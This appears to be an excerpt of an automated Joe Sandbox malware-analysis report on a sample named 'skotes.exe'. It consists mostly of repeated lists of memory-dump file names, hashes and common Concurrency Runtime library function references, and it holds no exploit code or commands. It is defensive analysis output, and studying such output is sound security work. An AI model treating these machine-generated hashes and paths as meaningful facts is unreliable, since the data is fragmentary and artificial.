Associated: 00000006.00000002.3294836463.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294902860.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294988378.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295045530.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295108835.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295191460.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295260165.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295325814.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295410775.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295496675.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295605536.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295667034.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295734741.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295782648.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295847085.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295901019.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295958733.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296198470.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296923976.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297085997.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297170705.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297259736.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297348474.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297408502.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297470944.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297531165.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297596635.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297661351.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: 1accceb957b73716fb4f640d6cbd70098dc172f818333b4d20572f73b7a09b37
Instruction ID: 0c40052976340a13c70a30e2cd400713a8399d1303144aba206b2831ac61e16f
Opcode Fuzzy Hash: 1accceb957b73716fb4f640d6cbd70098dc172f818333b4d20572f73b7a09b37
Instruction Fuzzy Hash: 63012D35200521BFDA257B61D8C2DFEBBAAFF95710B000029F40557611CB20FC2187E0

Function 001BD0B7 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 001BD0C5
ListArray.LIBCONCRT ref: 001BD0D7

Part of subcall function 001BC6B2: _InternalDeleteHelper.LIBCONCRT ref: 001BC6C4

ListArray.LIBCONCRT ref: 001BD0E1
_InternalDeleteHelper.LIBCONCRT ref: 001BD0FA

Memory Dump Source

Source File: 00000006.00000002.3289264345.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000006.00000002.3289107438.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289264345.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289818825.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289911017.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290047679.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290167225.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290311791.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291362134.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291485880.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3292969573.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293094986.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293236225.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293359413.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293505785.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293651961.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293779776.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293901819.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294061382.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294182850.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294356300.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294443535.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294488488.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294531842.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294594544.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294638728.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294681658.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294772443.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294836463.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294902860.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294988378.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295045530.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295108835.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295191460.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295260165.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295325814.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295410775.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295496675.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295605536.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295667034.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295734741.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295782648.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295847085.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295901019.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295958733.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296198470.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296923976.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297085997.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297170705.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297259736.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297348474.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297408502.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297470944.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297531165.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297596635.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297661351.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: adbfb50a33ec750d2374d7dbb0672ec708308c6722f42df1a1204bcb89ad4c3a
Instruction ID: b54857bea23caa3df753ffc1e54e1891ca5d8f2872f071b44890be6b98573639
Opcode Fuzzy Hash: adbfb50a33ec750d2374d7dbb0672ec708308c6722f42df1a1204bcb89ad4c3a
Instruction Fuzzy Hash: 9501F431600521BFDA29BB64D9C2EBDBB6ABF65711700042AF80597A12DF20EC6286E0

Function 001C33C1 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 001C33DB
Concurrency::details::VirtualProcessor::ServiceMark.LIBCMT ref: 001C33EF
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 001C3407
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 001C341F

Memory Dump Source

Source File: 00000006.00000002.3289264345.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000006.00000002.3289107438.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289264345.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289818825.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289911017.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290047679.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290167225.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290311791.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291362134.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291485880.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3292969573.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293094986.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293236225.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293359413.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293505785.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293651961.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293779776.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293901819.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294061382.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294182850.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294356300.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294443535.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294488488.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294531842.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294594544.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294638728.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294681658.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294772443.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294836463.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294902860.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294988378.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295045530.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295108835.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295191460.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295260165.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295325814.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295410775.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295496675.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295605536.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295667034.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295734741.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295782648.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295847085.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295901019.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295958733.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296198470.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296923976.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297085997.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297170705.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297259736.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297348474.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297408502.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297470944.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297531165.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297596635.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297661351.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$Node::ProcessorSchedulingWork$FindItemItem::MarkNextProcessor::Service
String ID:
API String ID: 78362717-0
Opcode ID: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction ID: bc89943058d8165254a7c2ec93178b67cb55acd1c5cb9997689b05cd60b1e68c
Opcode Fuzzy Hash: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction Fuzzy Hash: 4601A732700514A7CF1AEA958841FEFB7999B74750F104059FC269B292DB71EE0096A0

Function 001B9510 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 001B9519

Part of subcall function 001AF4CB: Concurrency::details::SchedulerBase::GetDefaultScheduler.LIBCONCRT ref: 001B5486

Concurrency::details::ContextBase::CancelCollection.LIBCONCRT ref: 001B953D
Concurrency::details::_TaskCollectionBase::_FinishCancelState.LIBCMT ref: 001B9550
Concurrency::details::ContextBase::CancelStealers.LIBCMT ref: 001B9559

Memory Dump Source

Source File: 00000006.00000002.3289264345.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000006.00000002.3289107438.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289264345.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289818825.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289911017.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290047679.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290167225.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290311791.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291362134.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291485880.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3292969573.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293094986.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293236225.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293359413.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293505785.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293651961.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293779776.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293901819.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294061382.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294182850.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294356300.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294443535.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294488488.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294531842.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294594544.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294638728.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294681658.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294772443.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294836463.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294902860.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294988378.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295045530.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295108835.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295191460.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295260165.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295325814.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295410775.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295496675.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295605536.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295667034.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295734741.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295782648.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295847085.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295901019.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295958733.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296198470.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296923976.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297085997.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297170705.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297259736.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297348474.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297408502.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297470944.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297531165.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297596635.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297661351.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: Base::Concurrency::details::$CancelContextScheduler$Collection$Base::_Concurrency::details::_CurrentDefaultFinishStateStealersTask
String ID:
API String ID: 218105897-0
Opcode ID: 4615e97fafe502f6002d1074aebf71b8ed261496fd89dd89418fafc456e0ff3f
Instruction ID: 8513120ba4eb33a57de2889bc20b40fd76c7a1c889f2bc1c9784345198ed46e1
Opcode Fuzzy Hash: 4615e97fafe502f6002d1074aebf71b8ed261496fd89dd89418fafc456e0ff3f
Instruction Fuzzy Hash: 5DF0E530640B209FE672ABA88811FFA23D89F54711F00C41EE61BD7282CF24F943CB91

Function 001CDFE3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 85COMMON

Download Yara Rule

Strings

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, xrefs: 001CDFE8

Memory Dump Source

Source File: 00000006.00000002.3289264345.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000006.00000002.3289107438.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289264345.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289818825.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289911017.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290047679.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290167225.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290311791.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291362134.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291485880.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3292969573.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293094986.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293236225.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293359413.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293505785.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293651961.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293779776.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293901819.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294061382.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294182850.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294356300.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294443535.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294488488.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294531842.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294594544.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294638728.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294681658.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294772443.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294836463.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294902860.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294988378.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295045530.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295108835.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295191460.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295260165.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295325814.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295410775.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295496675.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295605536.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295667034.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295734741.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295782648.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
